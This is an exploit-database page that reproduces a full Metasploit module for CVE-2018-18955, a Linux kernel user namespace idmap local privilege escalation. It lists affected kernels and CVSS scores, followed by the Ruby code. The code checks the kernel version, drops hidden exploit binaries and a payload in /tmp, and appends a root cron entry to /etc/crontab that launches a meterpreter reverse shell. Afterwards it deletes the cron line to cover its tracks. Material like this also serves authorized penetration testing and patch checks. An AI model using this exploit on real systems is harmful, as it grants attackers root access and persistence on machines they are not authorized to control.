Linux Nested User Namespace idmap Limit Local Privilege Escalation

2018.11.29
Credit: Brendan Coles
Risk: High
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 4.4/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18, and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user namespaces and kernel uid/gid mappings allow elevation to root (CVE-2018-18955). The target system must have unprivileged user namespaces enabled and the newuidmap and newgidmap helpers installed (from uidmap package). This module has been tested successfully on: Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64; Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64); Linux Mint 19 kernel 4.15.0-20-generic (x86_64); Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery and exploit 'bcoles' # Metasploit ], 'DisclosureDate' => 'Nov 15 2018', 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'Privileged' => true, 'References' => [ ['BID', '105941'], ['CVE', '2018-18955'], ['EDB', '45886'], ['PACKETSTORM', '150381'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'], ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955'], ['URL', 'https://lwn.net/Articles/532593/'], ['URL', 'https://bugs.launchpad.net/bugs/1801924'], ['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'], ['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'], ['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'], ['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'], ['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2'] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'AppendExit' => true, 'PrependSetresuid' => true, 'PrependSetreuid' => true, 'PrependSetuid' => true, 'PrependFork' => true, 'WfsDelay' => 60, 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'Notes' => { 'AKA' => ['subuid_shell.c'] } )) register_options [ OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]]) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." end register_file_for_cleanup path chmod path, 0755 end def exploit_data(file) ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file) end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' ['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path| unless setuid? path vprint_error "#{path} is not set-uid" return CheckCode::Safe end vprint_good "#{path} is set-uid" end # Patched in 4.18.19 and 4.19.2 release = kernel_release v = Gem::Version.new release.split('-').first if v < Gem::Version.new('4.15') || v >= Gem::Version.new('4.19.2') || (v >= Gem::Version.new('4.18.19') && v < Gem::Version.new('4.19')) vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end vprint_good "Kernel version #{release} appears to be vulnerable" CheckCode::Appears end def on_new_session(session) if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute '/bin/sh', "-c \"/bin/sed -i '\$ d' /etc/crontab\"" else session.shell_command("/bin/sed -i '\$ d' /etc/crontab") end ensure super end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload executables subuid_shell_name = ".#{rand_text_alphanumeric 5..10}" subuid_shell_path = "#{base_dir}/#{subuid_shell_name}" subshell_name = ".#{rand_text_alphanumeric 5..10}" subshell_path = "#{base_dir}/#{subshell_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile subuid_shell_path, exploit_data('subuid_shell.c') upload_and_compile subshell_path, exploit_data('subshell.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out') upload_and_chmodx subshell_path, exploit_data('subshell.out') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Adding cron job...' output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} " output.each_line { |line| vprint_status line.chomp } crontab = read_file '/etc/crontab' unless crontab.include? payload_path fail_with Failure::Unknown, 'Failed to add cronjob' end print_good 'Success. Waiting for job to run (may take a minute)...' end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top